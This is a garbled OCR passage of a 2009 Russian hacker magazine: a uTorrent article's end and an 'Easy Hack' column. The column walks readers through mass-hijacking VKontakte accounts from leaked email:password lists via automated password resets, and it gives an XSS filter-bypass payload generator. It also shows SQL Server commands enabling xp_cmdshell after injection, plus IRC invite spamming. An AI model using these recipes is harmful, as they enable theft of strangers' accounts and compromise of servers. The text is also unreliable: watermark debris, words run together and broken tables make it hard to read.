книги хакеры / журнал хакер / 126_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
pc_zonew |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
YAHOO-ТРУБАДЛЯГРАББИНГАЛИНКОВНА |
|
|
|
СВЕЖИЕСЕРИИПОПУЛЯРНОГОСЕРИАЛА |
|
|
|
очень удобно на хосте с широким каналом и работаю- |
|
|
|
щими torrent-клиентом расшарить папку и сделать так, |
|
|
|
чтобы прога автоматически подхватывала все появляю- |
|
|
|
щиеся там .torrent-файлы. Помнится, в свое время я |
КЛАССНЫЙКЛИЕНТTRANSMISSION ДЛЯМАКАИТУКСА |
||
даже писал простенький Perl-скипт, который запускался |
|
|
|
каждые пять минут через планировщик и проверял пап- |
|
|
|
ку на обновление, скармливая появившиеся торренты на |
мало. ВРоссиитрафикчащережутнауровнеорганизации, |
|
|
скачку клиенту. Доступ к этой папке был у моих друзей, и |
чтобысотрудниковнесильнобаловатьхалявныминетом. |
INFO |
|
они очень просто могли воспользоваться моим каналом, |
Обойтитакиеограничениянепросто, номожно. Достаточно |
||
|
|||
просто скопировав в эту папку нужные торренты, а потом |
очевидныйспособ— сделатьтак, чтобыпровайдерыне |
|
|
слить закачанные файлы по специально открытому для |
моглиразобрать, какиеданныеикакимобразомпереда- |
|
|
них FTP. |
ютсяпользователем. Трафикдляэтогоможнопуститьчерез |
info |
|
Чутьпозжепоявилсядедикнавиндеиоказалось, что |
шифрованныйтуннель, ноэтозачастуюдорого(например, |
||
|
|||
автоматизироватьэтоможнопрямосредствамиuTorrent. |
вслучаеплатногоVPN-сервиса) илимедленно(вслучае |
• Отом, каксамо- |
|
Надолишьвразделе«Другиенастройки» включитьопцию |
бесплатноговариантанабазетогожеTor’а). Однаков |
муподнятьсвой |
|
«Автозагрузкафайлов.torrent» изадатьпапкудлязагрузки. |
нашемслучаенеобязательнорешатьпроблем«влоб». |
торрент-трекер, ты |
|
Правда, поумолчаниюклиентназойливобудеттребовать |
Возможностьшифрованиятрафиканаосновепростого |
можешьпрочитать |
|
путьдлясохранениязакачиваемыхфайлов, ноиэтоможно |
алгоритмаRC4 появиласьвсамихклиентах. Шифрование |
в#114 z. PDF-кусо |
|
побороть, указавнужнуюпапкувполе«Помещатьзагружае- |
протокола(Protocol Encryption), впервыереализованное |
статьеймывыложили |
|
мыефайлыв». Чтобынеспутатьстарыефайлысновыми, все |
впрогеBitComet ещев2005 году, теперьподдерживается |
надиске. |
|
обработанныеторрентыuTorrent помечаетрасширением |
практическивсемиклиентамиивключаетсябезлишнего |
|
|
.torrent.loaded. |
геморрояустановкойнужнойгалочкивнастройках. Если |
• Разужмызагово- |
|
ОБХОДИМЗАЩИТУПРОВОВ |
взятьuTorrent, тошифроватьтрафиконумеетвнескольких |
рилиовеб-оболочках |
|
режимах: длявсехподключений, толькодлявходящих, |
дляуправления |
||
Колоссальныйобъемтрафика, прокачиваемыйчерез |
толькодляисходящихит.д. |
закачками, немогу |
|
BitTorrent, конечно, несильнонравитсяпровайдерам. |
Реальнообойтиидругиеограничения. Есликорпора- |
неупомянутьраз- |
|
Внекоторыхстранахпровыохотноначинаютборотьсяс |
тивныйфайрволрежеттрафикпоконкретнымпортам, |
работкуTorrentFlux |
|
p2p-сетямииограничиваютсоединения, ссылаясьнато, |
товклиентеможнопопробоватьустановитьдругойпорт. |
(torrentflux.com). |
|
чточерезторрент(внимание!) можетпередаватьварез. |
Вконцеконцов, тотжеuTorrent отличноработаетчерез |
Этоторрент-клиент, |
|
Отмазка, конечно, неплохая, нопользователейутешает |
проксиилисокс. z |
которыйполностью |
|
|
|
написаннаPHP |
|
|
|
идовольнопросто |
|
|
|
устанавливаетсяна |
|
МаленькиесекретыuTorrent |
LAMP хостингпод |
||
никсами. |
|||
|
|
•Мало кто знает, но в самом клиенте есть и небольшой трекер-сервер. Его можно включить в расширенных настройках, обратившись к параметру bt.enable_tracker. По правде говоря, трекер без веб-интерфейса и даже без возможности просмотра обслуживаемых им торрентов. Он не предназначен для использования в широких масштабах и небезопасен, однако, его можно заюзать, если хочешь обменяться. Для этого в торрент-файл нужно поместить его URL: http://âàø.ip:ïîðò/announce.
•Торрент-клиент может сильно раздражать, если активные закачки будут мешать комфортному серфингу. Но в uTorrent есть встроенный шейпер-планировщик, позволяющий ограничить клиенту ширину канала в зависимости от времени суток и дня недели. Например, днем, когда ты работаешь, можно установить минимальную скорость для закачки, разрешив лишь отдачу, а ночью – предоставить клиенту весь канал.
•Помимо рассмотренного в статье веб-интерфейса WebUI есть масса сторонних разработок. Например, очень удобная программа uRemote (uremote.blogspot.com/), клиент для мобильных телефонов uTorrent Mobile от японских разработчиков (apps.junkship.org), а также веб-оболочка для многопользовательского доступа Multi-user Webui Shell (trac.utorrent.com/trac/wiki/Webui-Shell).
• Привыкнув
кuTorrent’у, сложно перейтинаальтернативныеклиентыпод другимиОС. Приятно, дляэтойпрограммыужесейчасесть бета-версияподMac OS, аподтуксомона отличноработаетпод эмуляторомWine.
XÀÊÅÐ 06 /126/ 09 |
037 |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
>>m |
|
||||
w Click |
to |
|
|
|
|
взлом |
|||||
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
|
|
|
|
|
Easy |
Hack |
ХАКЕРСКИЕ |
|
||||
|
|
|
|
|
|
СЕКРЕТЫ |
|
|
|
|
|
|
|
ПРОСТЫХ |
|
|
|
|
|
|
|
ВЕЩЕЙ |
|
|
|
|
|
|
|
|
|
|
ЛЕОНИД «R0ID» СТРОЙКОВ АНДРЕЙ «SKVOZ» КОМАРОВ |
M0R0 |
|
|
|||
|
/ R0ID@MAIL.RU / |
/ KOMAROV@ITDEFENCE.RU / |
/ M0R0@INBOX.RU / |
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ЗАДАЧА: ПРОЧЕКАТЬСПИСОК |
|
|
|
|
|
|
|
|
|
|
||
|
№1 |
|
|
|
|
||
|
|
МЫЛЬНИКОВНАНАЛИЧИЕ АККА- |
|
|
|||
|
|
УНТОВ«ВКОНТАКТЕ» |
|
|
|
РЕШЕНИЕ:
Социальныесетискаждымднемнабираютвсебольшуюпопулярность. |
|
|
|
|
|
|
|
Поэтомуядаженебудуспрашивать, зачемтебемогутпотребоватьакки, |
Сборпаролейот«ВКонтакте» |
||
например, отwww.vkontakte.ru :). Собратьпарусотенподобныхучетныхза- |
|
|
|
писейзачастуюпростонеобходимо, нокакбыть, еслинарукахимеетсялишь |
2. |
Выбираем список вида мыло:пароль, где пароль — пасс от мыль- |
|
внушительныймаил-листвидамыло:пароль, которыйнеобходимопреоб- |
íèêà |
|
|
разитьвсписоктипалогин:парольот«ВКонтакте»? Решениеесть, исейчас |
3. |
Чекаем мыльники на валид |
|
ятебеегопредставлю. Дляосуществелниязадуманногомывоспользуемся |
4. |
Валидные мыльники чекаем на наличие акков «ВКонтакте» |
|
утилойMailWok, котораяпредназначенадляпроверкимылнаналичиеакков |
5. |
Ждем несколько минут (пока на мыла рассылаются письма с вос- |
|
«ВКонтакте», атакжедляавтоматическоговосстановленияпаролейиих |
становленными пассами от социальной сети) |
||
сбораспрочеканныхящиков. Преждечемперейтикактивнымдействиям, |
6. |
Теперь жмем на баттон «Проверить мыла» и ждем, пока тулза |
|
рассмотримвозможностисофтинки: |
соберет с ящиков письма, пришедшие от «ВКонтакте» |
||
|
7. |
Сохраняем полученные акки |
•Чекинг мыл на наличие акков «ВКонтакте»
•Автоматический запрос на восстановления пароля от аккаунта Теперьовозможныхпроблемах! Еслипассот«ВКонтакте» непришел, значит:
«ВКонтакте» |
|
|
|
• Автоматический сбор писем с паролями от «ВКонтакте» с проче- |
1. |
Мыло не прочекано на валид либо невалидное |
|
канных мыльников |
2. |
Мыло не зарегано «ВКонтакте» |
|
• Автоматическое удаление собранных писем с восстановлением |
3. |
Аккаунт «ВКонтакте» зарегистрирован, но не активирован |
|
пароля |
|
|
|
|
|
||
• Поддержка популярных почтовых сервисов (mail.ru, rambler.ru, |
Каквидишь, вседовольнопросто, ноэффективно. Приналичиивремени, |
||
yandex.ru, etc) |
желанияибольшойбазымыльныхакковтызапростосможешьсобрать |
||
|
|
целуюБДсучеткамиотwww.vkontakte.ru. Однаконезабывай, чтозавсесвои |
|
Еслитыдосихпорнепонял, очемречь, тоимеетсмыслознакомитьсяспод- |
действиятыотвечаешьсам, аиспользованиечужихаккаунтовкатегорически |
||
робнымалгоритмомдействийпорешениюпоставленнойзадачи: |
запрещено. |
||
|
|
P.S.НанашемДВДтынайдешьнетолькоутилуMailWok, ноисорцы, которые |
|
1. Сливаем утилу с нашего ДВД |
|
былилюбезнопредоставленыавторомпродукта. |
|
|
|
|
|
|
|
|
№2 |
ЗАДАЧА: НАБРАТЬБОЛЬШОЕКО- |
Обративнимание: |
|
||
|
ЛИЧЕСТВОЛЮДЕЙНАIRC-КАНАЛЕ |
|
|
|
• При превышении лимитов инвайтов следует переподключиться |
РЕШЕНИЕ: |
|
• Не стоит собирать ники со служебных каналов (иначе минуты |
ЕслитыфанатIRC, тораскрученныйканалсобилиемнарода, длятебя— |
жизни твоего канала сочтены) |
|
делочести. Воттолькособратьвнушительноеколичестволюдейнетак-то |
• При желании дропнуть чужой канал — достаточно проинвайтить |
|
просто. Можно, конечно, рекламироватьсвойIRC-каналвсемивозможными |
ники со служебных каналов :) |
|
|||
|
способами, однакоестьгораздоболееэффективныйметод, окоторомя |
|
|
|
|
|
|
тебесейчасрасскажу. Сутьегозаключаетсявавтоматическойрассылке |
|
Плавноперейдемкустановкескрипта: |
|||
|
инвайтовипополнениичисленностиканалонаселениязасчетвключен- |
|
|
|
|
|
|
ногоавтоджойнаприполученииинвайта. Кактыпонимаешь, речьидетоб |
|
1. |
Сливаем скрипт с нашего ДВД |
|
|
|
автоматизированнойдоставкеприглашений, поэтомузнакомься—«Invite |
|
2. |
Открываем mirc-редактор скриптов (aka |
|
|
|
mirc script by elimS». Именноонпоможетнамосуществитьзадуманное. Итак, |
|
<Alt+R>) |
|
||
|
начнемсописанияфункциональностискрипта: |
|
3. |
Создаем новый скрипт (с содержимым |
|
|
|
|
|
нужного нам скрипта "Invite mirc script by |
|
||
|
• Автоматический сбор ников |
|
elimS") |
|
||
|
• Автоматическая рассылка инвайтов |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Скриптавтоинвайтов |
|
|
||
|
|
|
|
|||
|
|
|||||
|
|
|
|
|
|
|
|
038 |
|
|
|
XÀÊÅÐ 06 /126/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Далеенеобходимосконфигурироватьскрипт. Дляэтого: |
которого следует собирать ники (на твое усмотрение) |
|||
|
|
|
4) На кого будет действовать скрипт — отмечаем тех, кого соби- |
|
1. |
Выбираем наш скрипт |
|
раемся инвайтить (опов не брать :)) |
|
2. |
В параметрах указываем: |
|
5) Инвайт из указанного ник-листа — использование твоего собс- |
|
1) |
Канал — канал, на который будем приглашать |
|
твенного ник-листа для рассылки инвайтов |
|
2) |
Частота инвайта — цифра в милисекундах (1 секунда = 1к мили- |
|
6) Ник-лист исключений — перечисляем ники, которые не будем |
|
секунд). Не забудь, что на каждом сервере существует свой лимит |
|
приглашать на канал |
||
инвайтов по времени, поэтому не жадничай и указывай не менее 2 |
|
|
||
Словом, еслиИРЦ— неотъемлемаячастьтвоейвиртуальнойжизни, смело |
||||
секунд. |
|
|||
3) |
Величина канала — минимальное количество людей на канале, с |
|
сливайскриптснашегодискаиприступайкраскруткесобственногоканала. |
|
|
|
|
|
|
№3 |
ЗАДАЧА: УСТАНОВИТЬИНАСТРО- |
|
|
|
|
|
ИТЬICQCHAT |
|
|
|
||
РЕШЕНИЕ: |
|
|
|
|
||
Водномизпрошлыхвыпусковzмывыкладывалинанашемдиске |
|
|
|
|||
замечательнуюсофтинуICQChat. Ноподробныймануалпонастройке |
|
|
|
|||
тулзыотсутствовал, чтовызвалонемаловопросов. Чтож, пришловремя |
|
|
|
|||
исправитьдосадноенедоразумениеирасставитьвсепосвоимместам. |
|
|
|
|||
Спервасформулируемпланнашихдействий: |
|
|
|
|||
|
|
|
|
|
|
|
|
1. Смена пароля от админки бота |
|
|
|
||
|
2. Смена дефолтного порта админки |
|
|
|
||
|
3. Включить/Отключить админку |
|
|
|
||
|
|
|
|
|
|
|
Поехали:). |
|
|
|
|
||
1. Длятогочтобысменитьадминскийаккаунт, намнеобходимо: |
|
|
|
|||
ЮзаемICQChat |
||||||
|
|
|
|
|
|
|
|
• Зайти в папку с ботом |
|
|
|
||
|
• Найти файл jimbot.xml |
|
• Включение — true, отключение — false |
|||
|
• Отредактировать строчку с логином: : <entry key="http. |
|
|
|
||
|
|
Пораперейтикнастройкамчата. Рекомендуюобратитьвниманиена |
||||
|
user">admin</entry> |
|
||||
|
• Отредактировать строчку с паролем: <entry key="http. |
|
следующиепараметры: |
|||
|
pass">admin</entry> |
|
|
|
||
|
|
|
|
Число переподключений движка при обрыве: 5 |
||
2. Теперьсменимдефолтовыйпортадминки. Дляэтого: |
||||||
|
Пауза для входящих сообщений: 1000 |
|||||
|
|
|
|
Пауза для исходящих сообщений: 500 |
||
|
• Заходим в папку с ботом |
|
Ограничение очереди исходящих: 20 |
|||
|
• Èùåì ôàéë jhttpserver.properties |
|
Пауза перед перезапуском коннекта: 660000 |
|||
|
• Редактируем строку с указанием порта: port=8888 |
|
Число повторов флуда: 5 |
|||
|
• Сохраняем изменения |
|
Период флуда (сек): 10 |
|||
|
|
|
|
Пауза сообщений для незареганых (сек): 20 |
||
3. Еслитырешилотключитьадминку, тебеследует: |
||||||
|
Задержка очереди чата: 10000 |
|||||
|
|
|
|
И многие другие :) |
||
|
• Зайти в папку с ботом |
|
|
|
||
|
|
Вотивсе. Надеюсь, проблемсдальнейшейэксплуатациейчатаутебяне |
||||
|
• Найти файл jimbot.xml |
|
||||
|
• Отредактировать строку: key=»main.StartHTTP»>true< |
|
возникнет. |
|||
|
|
|
|
|
|
№4 |
ЗАДАЧА: УСТАНОВИТЬИСКОНФИ- |
|
ГУРИРОВАТЬ 3PROXY СПОДДЕР- |
|
|
ЖКОЙSOCKS5 |
|
|
|
РЕШЕНИЕ:
Соксынужнывсегдаивезде:). |
|
Однимизлучшихсокс-серверовпоправусчитается3proxy. |
|
Поэтому сейчас мы подробно рассмотрим его установку из портов на |
|
базе Фряхи: |
Устанавливаем3proxy |
#cd /usr/ports/net/3proxy/
#make install clean
XÀÊÅÐ 06 /126/ 09 |
039 |
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
||||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
||||||
|
|
|
|
|
BUY |
>>m |
|
|||||
w Click |
to |
|
|
|
|
|
взлом |
|||||
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Теперьсоздаемконфиг:
# cp /usr/local/etc/3proxy.cfg.sample /usr/local/etc/3proxy.cfg
Принеобходимости— пишемлогивсозданнуюдиру:
# mkdir /var/log/3proxy
Вообще, рекомендуетсяпускатьвселогипопрямомуназначению— в/dev/null :).
Далееоткрываймногострадальныйконфиг3proxy.cfg иредактируйпо-своему усмотрению(примерправильногоконфигаищинаDVD).
Все, установказакончена. Запускаем3proxy насерверевкачестведемона:
# /usr/local/etc/rc.d/3proxy start
Хттп-проксиисокс-проксикктвоимуслугам— пользуйсяинезабывайпро логи:).
№5 ЗАДАЧА: ОБОЙТИСАМОПИСНУЮ
СИСТЕМУПОЗАЩИТЕОТXSS, УСТАНОВЛЕННУЮЗЛОБНЫМАДМИНОМ
РЕШЕНИЕ:
Тебепредстоитнайтивариант, которыйзаведомонепредусмотрел администратор. Обычновсеадминыруководствуютсяобщедоступным спискомнаиболеепопулярныхсценариевссайтаha.ckers.org/xss.html (Сross Site Scripting Cheat Sheet) илииспользуюткакой-либомодуль безопасности. Отчаиватьсянестоит— лучшепопробоватьзаюзатьтак называемые«foreign char sets». Примерныедействияследующие:
1. СмотриследующийHTML-код, которыйпозволитсгенерировать256 вариацийдляорганизациипреодоленияфильтра:
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@page import="org.apache.commons.lang.StringEscapeUtils" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>XSS-генератор</title>
</head>
<body>
<%
for(long i=0; i< 0x100; i++)
{
long lt = 0x3C; long gt = 0x3E; long order = i << 8;
long LT = order | lt; //out.println(Long.toHexString(LT) + " : "); long GT = order | gt; //out.println(Long.toHexString(GT) + "<BR>");
String theScript = (char)LT + "script" + (char)GT + "alert("
+i + ");" +(char)LT + "/script" + (char)GT; out.println( theScript + "<br>");
}
%>
</body>
</html>
2. Попробуйраспечататьрезультатыисполненияскрипта. Возможно, тыувидишь, чтоневсеизсимволовбудуткорректноотображатьсякак набумаге, такивбраузере. Причина— использованиеспецифических кодировок.
№6 ЗАДАЧА: ВЕСТИУЧЕТРАБОТЫ
NMAP НАШИРОКОМАСШТАБНЫХ СЕТЯХ
РЕШЕНИЕ:
Существуетспециальныйпатч,называемыйnmapsql(sourceforge.net/projects/ nmapsql).ОндобавляетподдержкуработысMySQLдляхранениярезультатов сканирования.Этопозволяетосуществлятьудобныйанализданных,выполнятьсортировкиивыборкиизтойкучилогов,которыемоглибыхранитьсякак обычныетекстовыефайлынавыходе.ПатчзаточеннаиспользованиеподUnix/ Linux-окружением,поэтомуотнесисьвнимательнокегонастройке.
1.Установипатчиоткройфайл~/nmapsql.rc дляредактирования. Вэтом файлехранятсявсенеобходимыеопции, главныеизкоторых— настройкидляподключениякбазе.
server=localhost, db=nmaplog, user=nmap, passwd=scanamanga
2.Запустиnmap следующимобразом:
nmap -A --mysql --runid 100 192.168.10.1/24
3.Врезультате, вбазесоздадутсячетыретаблицы:
TARGETS — хранит информацию о конкретной исследуемой машине (IP address, hostname и OС)
SCANNERS — содержит информацию о хосте, с которого стартовал nmapsql. На случай, если у тебя несколько распределенных сканеров с подключением к базе
RUNLIST — содержит user ID, дату и время вызова Nmap. Соответственно, информация о пользователе читается из /etc/passwd. PORTSTAT — таблица с результатами сканирования и информацией о каждом порте (open/close/filtered)
HOSTSSTAT — всевозможного рода статистическая информация, вроде общего количества просканированных хостов, портов и т.д.
Примервыборкиизбазы:
mysql> select target_ip, d, t, port, protocol, -> state, runid from portstat
-> order by target_ip, d, t ;
+--------------- |
|
+------------ |
+---------- |
+-------- |
+---------- |
+-------- |
+------- |
+ |
|
|
|
| target_ip | d |
| t |
| port |
| protocol | state | runid |
||
| |
|
|
|
|
|
040 |
XÀÊÅÐ 06 /126/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
>>
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
||||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
|||||
|
|
|
|
|
|
m |
|||||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
+---------------+------------+----------+--------+---------- |
|
|
|
|||||
+--------+-------+ |
|
|
|
|
|
|
||
| 192.168.10.0 |
| 2003-12-14 | 10:00:37 | |
80 | tcp |
| open |
|
|
|
||
| |
100 | |
|
|
|
|
|
|
|
| 192.168.10.1 |
| 2003-12-14 | 10:00:37 | |
21 | tcp |
| open |
|
|
|
||
| |
100 | |
|
|
|
|
|
|
|
| 192.168.10.1 |
| 2003-12-14 | 10:00:37 | |
23 | tcp |
| open |
|
|
|
||
|
|
|
|
|
|
|
|
|
| |
100 | |
|
|
|
|
|
Официальныйпроектnmapsql |
|
| 192.168.10.1 | 2003-12-14 | 10:00:37 | 80 | tcp |
| open |
| 100 | |
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ЗАДАЧА: ВКЛЮЧИТЬВОЗМОЖ- |
|
|
|
|
|
|
|
|
|
№7 |
|
|
|
|
|
|
|
|
||
НОСТЬИСПОЛНЕНИЯКОМАНД |
|
|
|
|
|
|
|
|
||
ОПЕРАЦИОННОЙСИСТЕМЫ |
|
|
|
|
|
|
|
|
||
ИСКРИПТОВACTIVEX |
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
||
AUTOMATION SQL SERVER 2005 |
|
|
|
|
|
|
|
|
||
РЕШЕНИЕ: |
|
|
|
|
|
|
|
|
|
|
ИнъекциявSQL Server таитвсебеогромнуюопасностьзасчетналичия |
|
|
|
|
|
|
|
|
||
большогоколичествасистемныххранимыхпроцедур. Доступкнимпоз- |
|
|
|
|
|
|
|
|||
xp_cmdshell поумолчанию |
|
|||||||||
|
|
|
Нужныепроцедурыактивированы |
|
||||||
воляетвзаимодействоватьсоперационнойсистемойотимениучетной |
|
недоступен |
|
|
|
|
|
|
||
записиSQL-сервера, чтовбольшинствеслучаевдаетправаSYSTEM. |
|
|
|
|
|
|
|
|
||
Наиболееинтереснымиявляютсяпроцедураxp_cmdshell, позволяющая |
|
3.Включаемподдержкуxp_cmdshell: |
|
|
|
|||||
исполнятьсистемныекоманды, атакжеsp_oacreate/sp_oamethod дляра- |
|
|
|
|
|
|
|
|
||
ботысOLE-объектами, включаядоступкфайловойсистеме. Дляработыс |
|
exec sp_configure 'xp_cmdshell',1 |
|
|||||||
этимипроцедурамитребуетсярольsysadmin. Янеразсталкивалсяспри- |
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|||
ложениями, работающимиотимениsa, такчтоэтонетакаяужиредкость. |
|
4.ВключаемподдержкуOLE Automation: |
|
|||||||
Проблемавтом, чтоMicrosoft вцеляхповышениябезопасностиотключает |
|
|
|
|
|
|
|
|
||
доступкэтимфункциямвконфигурациисерверапоумолчанию. Активи- |
|
sp_configure 'Ole Automation Procedures',1 |
|
|||||||
роватьпроцедурыможно, используяинструментарийSQL Surface Area |
|
|
|
|
|
|
|
|
||
|
5.Переконфигурируем: |
|
|
|
||||||
Configuration. ОднакопонятиеобезопасностиупарнейизMicrosoft всегда |
|
|
|
|
||||||
вызывалоумиление. Обладаяпривилегиямиsysadmin, можновключить |
|
|
|
|
|
|
|
|
||
